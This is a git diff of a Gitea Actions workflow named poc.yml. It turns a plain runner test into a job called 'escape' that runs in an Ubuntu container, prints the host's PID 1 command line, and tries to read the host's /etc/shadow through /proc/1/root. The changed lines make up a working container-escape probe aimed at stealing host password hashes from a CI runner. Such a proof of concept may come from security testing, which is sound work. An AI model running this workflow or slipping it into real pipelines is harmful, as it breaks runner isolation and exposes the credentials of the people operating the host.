diff --git a/.gitea/workflows/poc.yml b/.gitea/workflows/poc.yml
index 84ad472..1519490 100644
--- a/.gitea/workflows/poc.yml
+++ b/.gitea/workflows/poc.yml
@@ -1,10 +1,14 @@
-name: plain-test
+name: noopts-test
 on: [workflow_dispatch]
 jobs:
-  test:
+  escape:
     runs-on: ubuntu-latest
+    container:
+      image: ubuntu:22.04
     steps:
-      - run: |
-          echo "runner works"
-          id
-          hostname
+      - name: escape
+        run: |
+          echo '[*] container pid ns:' $(readlink /proc/self/ns/pid)
+          echo '[*] host pid1 cmdline:' $(cat /proc/1/cmdline | tr '\000' ' ')
+          cat /proc/1/root/etc/shadow 2>/dev/null | head -3 || echo 'no host fs access'
+          echo '[*] done'